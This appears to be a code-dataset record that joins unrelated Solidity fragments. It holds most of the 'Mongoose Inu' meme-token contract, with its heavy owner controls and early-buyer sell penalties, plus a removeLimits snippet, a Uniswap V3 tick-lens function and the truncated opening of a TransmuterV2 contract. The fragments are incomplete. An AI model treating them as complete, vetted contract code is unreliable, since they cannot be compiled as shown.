uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 1e13 * 1e9; // 100 Trillion
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Mongoose Inu";
string private constant _symbol = "MONGOOSEINU";
uint8 private constant _decimals = 9;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 public _buyTaxFee = 1;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 7;
uint256 public _sellTaxFee = 1;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 14;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
uint256 public _liquidityTokensToSwap;
uint256 public _marketingTokensToSwap;
uint256 public maxTransactionAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
//bool private gasLimitActive = false; //Changing this to false to facilitate smoother launches.
//uint256 private gasPriceLimit = 500 * 1 gwei; // do not allow over 500 gwei for launch
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public tradingActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SetAutomatedMarketMakerPair(address pair, bool value);
event ExcludeFromReward(address excludedAddress);
event IncludeInReward(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event TransferForeignToken(address token, uint256 amount);
event UpdatedMarketingAddress(address marketing);
event UpdatedLiquidityAddress(address liquidity);
event OwnerForcedSwapBack(uint256 timestamp);
//event BoughtEarly(address indexed sniper);
//event RemovedSniper(address indexed notsnipersupposedly);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[_msgSender()] = _rTotal / 1000 * 30;
_rOwned[address(this)] = _rTotal / 1000 * 970;
maxTransactionAmount = _tTotal * 15 / 1000; // 1.5% maxTransactionAmountTxn
minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount
marketingAddress = payable(0x5eEbEda785Fa9aC478F966a6cA781bb1e9f1AE14); // Marketing Address
//devAddress = payable(0x0); // Dev Address
liquidityAddress = payable(owner()); // Liquidity Address (switches to dead address once launch happens) - not really
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
//_isExcludedFromFee[liquidityAddress] = true;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
emit Transfer(address(0), _msgSender(), _tTotal * 30 / 1000);
emit Transfer(address(0), address(this), _tTotal * 970 / 1000);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account)
external
view
returns (bool)
{
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
// remove limits after token is stable - 30-60 minutes
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
//gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// once enabled, can never be turned off
function enableTrading() internal onlyOwner {
tradingActive = true;
swapAndLiquifyEnabled = true;
tradingActiveBlock = block.number;
earlyBuyPenaltyEnd = block.timestamp + 72 hours;
}
// send tokens and ETH for liquidity to contract directly, then call this function.
//(not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch)
function launch(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
require(address(this).balance > 0, "Must have ETH on contract to launch");
addLiquidity(balanceOf(address(this)), address(this).balance);
//setLiquidityAddress(address(0xdead));
return true;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_isExcludedMaxTransactionAmount[pair] = value;
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
}
/*function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 200);
gasPriceLimit = gas * 1 gwei;
}*/
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private { //########### MARKER ############################################
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not active yet!");
}
if(limitsInEffect){
if ( from != owner() && to != owner()
&& to != address(0) && to != address(0xdead)
&& !inSwapAndLiquify) {
if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){
boughtEarly[to] = true;
//emit BoughtEarly(to);
}
// only use to prevent sniper buys in the first blocks.
/*if (gasLimitActive && automatedMarketMakerPairs[from]) { //TODO: automatedMarketMakerPairs should be eliminated
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}*/
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_marketingTokensToSwap);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// swap and liquify
if (
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > 0 &&
totalTokensToSwap > 0 &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
automatedMarketMakerPairs[to] &&
overMinimumTokenBalance
) {
swapBack();
}
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
}
else {
// Buy
if (automatedMarketMakerPairs[from]) {
removeAllFee();
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyMarketingFee;
buyOrSellSwitch = BUY;
}
// Sell
else if (automatedMarketMakerPairs[to]) {
removeAllFee();
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellMarketingFee;
buyOrSellSwitch = SELL;
// higher tax if bought in the same block as trading active for 72 hours (sniper protect)
if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){
_taxFee = _taxFee * 5;
_liquidityFee = _liquidityFee * 5;
}
// Normal transfers do not get taxed
} else {
require(!boughtEarly[from] || earlyBuyPenaltyEnd <= block.timestamp, "Snipers can't transfer tokens to sell cheaper until penalty timeframe is over. DM a Mongoose Inu admin.");
removeAllFee();
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap;
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance.sub(ethForMarketing);
//uint256 ethForDev= ethForMarketing * 2 / 7; // 2/7 goes to dev
//ethForMarketing -= ethForDev;
_liquidityTokensToSwap = 0;
_marketingTokensToSwap = 0;
(bool success,) = address(marketingAddress).call{value: ethForMarketing}("");
//(success,) = address(devAddress).call{value: ethForDev}("");
if(tokensForLiquidity > 0) { //Either tokensForLiquidity > 0 or ethForLiquidity > 0 will work.
addLiquidity(tokensForLiquidity, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
// send leftover ETH to the marketing wallet so it doesn't get stuck on the contract.
if(address(this).balance > 1e17){
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= _tTotal / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityAddress,
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function removeBoughtEarly(address account) external onlyOwner {
boughtEarly[account] = false;
//emit RemovedSniper(account);
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
//emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
//emit IncludeInFee(account);
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee)
external
onlyOwner
{
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyMarketingFee = buyMarketingFee;
require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 10, "Must keep buy taxes below 10%");
emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee);
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee)
external
onlyOwner
{
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellMarketingFee = sellMarketingFee;
require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 15, "Must keep sell taxes below 15%");
emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
require(_marketingAddress != address(0), "_marketingAddress address cannot be 0");
_isExcludedFromFee[marketingAddress] = false;
marketingAddress = payable(_marketingAddress);
_isExcludedFromFee[marketingAddress] = true;
emit UpdatedMarketingAddress(_marketingAddress);
}
function setLiquidityAddress(address _liquidityAddress) public onlyOwner {
require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0");
liquidityAddress = payable(_liquidityAddress);
_isExcludedFromFee[liquidityAddress] = true;
emit UpdatedLiquidityAddress(_liquidityAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent)
{
require(_token != address(0), "_token address cannot be 0");
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
require(!tradingActive, "Can only withdraw if trading hasn't started");
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
}
|
remove limits after token is stable - 30-60 minutesgasLimitActive = false;
|
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
transferDelayEnabled = false;
return true;
}
| 230,951
|
./full_match/44787/0x912350276e12eB7aa8d3f60eF9525bd5f4620825/sources/project_/contracts/swappa/PairUniswapV3.sol
|
get the populated ticks at, above, and below the current word
|
function getSpotTicks2(IUniswapV3Pool pool)
public
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint128 liquidity,
int16 tickBitmapIndex,
TickLens.PopulatedTick[] memory populatedTicksAbove2,
TickLens.PopulatedTick[] memory populatedTicksAbove,
TickLens.PopulatedTick[] memory populatedTicksSpot,
TickLens.PopulatedTick[] memory populatedTicksBelow,
TickLens.PopulatedTick[] memory populatedTicksBelow2
)
{
(sqrtPriceX96, tick, liquidity, tickBitmapIndex) = TickLens.getSpotInfo(
pool
);
populatedTicksSpot = TickLens.getPopulatedTicksInWord(
pool,
tickBitmapIndex
);
populatedTicksAbove = TickLens.getPopulatedTicksInWord(
pool,
tickBitmapIndex + 1
);
populatedTicksAbove2 = TickLens.getPopulatedTicksInWord(
pool,
tickBitmapIndex + 2
);
populatedTicksBelow = TickLens.getPopulatedTicksInWord(
pool,
tickBitmapIndex - 1
);
populatedTicksBelow2 = TickLens.getPopulatedTicksInWord(
pool,
tickBitmapIndex - 2
);
}
| 13,289,985
|
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./base/Errors.sol";
import "./interfaces/IWhitelist.sol";
import "./interfaces/transmuter/ITransmuterV2.sol";
import "./interfaces/transmuter/ITransmuterBuffer.sol";
import "./libraries/FixedPointMath.sol";
import "./libraries/LiquidityMath.sol";
import "./libraries/SafeCast.sol";
import "./libraries/Tick.sol";
import "./libraries/TokenUtils.sol";
/// @title TransmuterV2
///
/// @notice A contract which facilitates the exchange of synthetic assets for their underlying
// asset. This contract guarantees that synthetic assets are exchanged exactly 1:1
// for the underlying asset.
contract TransmuterV2 is ITransmuterV2, Initializable, ReentrancyGuardUpgradeable, AccessControlUpgradeable {
using FixedPointMath for FixedPointMath.Number;
using Tick for Tick.Cache;
struct Account {
// The total number of unexchanged tokens that an account has deposited into the system
uint256 unexchangedBalance;
// The total number of exchanged tokens that an account has had credited
uint256 exchangedBalance;
// The tick that the account has had their deposit associated in
uint256 occupiedTick;
}
struct UpdateAccountParams {
// The owner address whose account will be modified
address owner;
// The amount to change the account's unexchanged balance by
int256 unexchangedDelta;
// The amount to change the account's exchanged balance by
int256 exchangedDelta;
}
struct ExchangeCache {
// The total number of unexchanged tokens that exist at the start of the exchange call
uint256 totalUnexchanged;
// The tick which has been satisfied up to at the start of the exchange call
uint256 satisfiedTick;
// The head of the active ticks queue at the start of the exchange call
uint256 ticksHead;
}
struct ExchangeState {
// The position in the buffer of current tick which is being examined
uint256 examineTick;
// The total number of unexchanged tokens that currently exist in the system for the current distribution step
uint256 totalUnexchanged;
// The tick which has been satisfied up to, inclusive
uint256 satisfiedTick;
// The amount of tokens to distribute for the current step
uint256 distributeAmount;
// The accumulated weight to write at the new tick after the exchange is completed
FixedPointMath.Number accumulatedWeight;
// Reserved for the maximum weight of the current distribution step
FixedPointMath.Number maximumWeight;
// Reserved for the dusted weight of the current distribution step
FixedPointMath.Number dustedWeight;
}
struct UpdateAccountCache {
// The total number of unexchanged tokens that the account held at the start of the update call
uint256 unexchangedBalance;
// The total number of exchanged tokens that the account held at the start of the update call
uint256 exchangedBalance;
// The tick that the account's deposit occupies at the start of the update call
uint256 occupiedTick;
// The total number of unexchanged tokens that exist at the start of the update call
uint256 totalUnexchanged;
// The current tick that is being written to
uint256 currentTick;
}
struct UpdateAccountState {
// The updated unexchanged balance of the account being updated
uint256 unexchangedBalance;
// The updated exchanged balance of the account being updated
uint256 exchangedBalance;
// The updated total unexchanged balance
uint256 totalUnexchanged;
}
address public constant ZERO_ADDRESS = address(0);
/// @dev The identifier of the role which maintains other roles.
bytes32 public constant ADMIN = keccak256("ADMIN");
/// @dev The identitifer of the sentinel role
bytes32 public constant SENTINEL = keccak256("SENTINEL");
/// @inheritdoc ITransmuterV2
string public constant override version = "2.2.0";
/// @dev the synthetic token to be transmuted
address public syntheticToken;
/// @dev the underlying token to be received
address public override underlyingToken;
/// @dev The total amount of unexchanged tokens which are held by all accounts.
uint256 public totalUnexchanged;
/// @dev The total amount of tokens which are in the auxiliary buffer.
uint256 public totalBuffered;
/// @dev A mapping specifying all of the accounts.
mapping(address => Account) private accounts;
// @dev The tick buffer which stores all of the tick information along with the tick that is
// currently being written to. The "current" tick is the tick at the buffer write position.
Tick.Cache private ticks;
// The tick which has been satisfied up to, inclusive.
uint256 private satisfiedTick;
/// @dev contract pause state
bool public isPaused;
/// @dev the source of the exchanged collateral
address public buffer;
/// @dev The address of the external whitelist contract.
address public override whitelist;
/// @dev The amount of decimal places needed to normalize collateral to debtToken
uint256 public override conversionFactor;
constructor() initializer {}
function initialize(
address _syntheticToken,
address _underlyingToken,
address _buffer,
address _whitelist
) external initializer {
_setupRole(ADMIN, msg.sender);
_setRoleAdmin(ADMIN, ADMIN);
_setRoleAdmin(SENTINEL, ADMIN);
syntheticToken = _syntheticToken;
underlyingToken = _underlyingToken;
uint8 debtTokenDecimals = TokenUtils.expectDecimals(syntheticToken);
uint8 underlyingTokenDecimals = TokenUtils.expectDecimals(underlyingToken);
conversionFactor = 10**(debtTokenDecimals - underlyingTokenDecimals);
buffer = _buffer;
// Push a blank tick to function as a sentinel value in the active ticks queue.
ticks.next();
isPaused = false;
whitelist = _whitelist;
}
/// @dev A modifier which checks if caller is an alchemist.
modifier onlyBuffer() {
if (msg.sender != buffer) {
revert Unauthorized();
}
_;
}
/// @dev A modifier which checks if caller is a sentinel or admin.
modifier onlySentinelOrAdmin() {
if (!hasRole(SENTINEL, msg.sender) && !hasRole(ADMIN, msg.sender)) {
revert Unauthorized();
}
_;
}
/// @dev A modifier which checks if caller is a sentinel.
modifier notPaused() {
if (isPaused) {
revert IllegalState();
}
_;
}
function _onlyAdmin() internal view {
if (!hasRole(ADMIN, msg.sender)) {
revert Unauthorized();
}
}
function setCollateralSource(address _newCollateralSource) external {
_onlyAdmin();
buffer = _newCollateralSource;
}
function setPause(bool pauseState) external onlySentinelOrAdmin {
isPaused = pauseState;
emit Paused(isPaused);
}
/// @inheritdoc ITransmuterV2
function deposit(uint256 amount, address owner) external override nonReentrant {
_onlyWhitelisted();
_updateAccount(
UpdateAccountParams({
owner: owner,
unexchangedDelta: SafeCast.toInt256(amount),
exchangedDelta: 0
})
);
TokenUtils.safeTransferFrom(syntheticToken, msg.sender, address(this), amount);
emit Deposit(msg.sender, owner, amount);
}
/// @inheritdoc ITransmuterV2
function withdraw(uint256 amount, address recipient) external override nonReentrant {
_onlyWhitelisted();
_updateAccount(
UpdateAccountParams({
owner: msg.sender,
unexchangedDelta: -SafeCast.toInt256(amount),
exchangedDelta: 0
})
);
